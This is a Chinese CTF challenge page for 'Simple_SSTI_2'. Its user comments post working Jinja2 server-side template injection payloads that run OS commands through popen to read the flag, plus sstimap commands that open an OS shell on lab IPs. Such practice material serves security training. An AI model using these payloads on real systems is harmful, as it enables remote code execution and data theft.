Simple_SSTI_2WEB 未解决

分数: 10 金币: 3
题目作者: valecalida
一  血: Tokeii
一血奖励: 3金币
解  决: 16701
提  示:
描  述:
Simple_SSTI_2
评论
Terrenc44 3月前

http://160.202.254.160:18660/?flag={{lipsum.__globals__['os'].popen('cat flag').read()}}

回复 0

WWlsyl 3月前

fenjing一把嗦

回复 0

icyskin 3月前

sstimap -u http://160.202.254.160:19762/?flag=1 --os-shell -e Jinja2 echo $FLAG

回复 0

icyskin 3月前

http://160.202.254.160:19762/?flag={{url_for.__globals__[%27os%27].popen(%27cat%20/app/flag%27).read()}}

回复 0

suxiansheng 5月前

详解参考https://mp.csdn.net/mp_blog/creation/editor/161513397

回复 0

pipizhu 5月前

?flag={{lipsum.__globals__['os'].popen('cat /app/flag').read()}}获取flag

回复 0

bugku2026 7月前

先通过?flag={{self.__dict__}}发现拥有lipsum,再通过?flag={{lipsum.__globals__.os.popen("cat /app/flag").read()}}获取flag

回复 1

r1ng_13 7月前

焚靖直接秒,比上一个SSTI还简单

回复 1

网恋秀牛子被录屏导致自卑 10月前

/?flag={{(OvO.__eq__.__globals__.sys.modules.os.popen('cat flag')).read()}}

回复 1

liutong27 1年前

python3 sstimap.py -u http://117.72.52.127:12369/?flag=1 --os-shell

回复 1

WriteUp

image
valecalida

5 金币

评分(15)

解题动态

掘金 攻破了该题 4天前
asdlex 攻破了该题 5天前
Ann 攻破了该题 8天前
hell0-hnc 攻破了该题 9天前
cxy..... 攻破了该题 9天前
1233217 攻破了该题 10天前
奥特娘 攻破了该题 10天前
283026 攻破了该题 10天前
zf 攻破了该题 12天前
liwssy 攻破了该题 12天前
source 攻破了该题 14天前
human 攻破了该题 15天前
Status404 攻破了该题 15天前
中门zywoo杀手 攻破了该题 16天前
一江明月送归舟 攻破了该题 16天前
jwleft 攻破了该题 19天前
豆神 攻破了该题 19天前
Alter 攻破了该题 19天前
mimopan 攻破了该题 19天前
magning 攻破了该题 20天前
问题反馈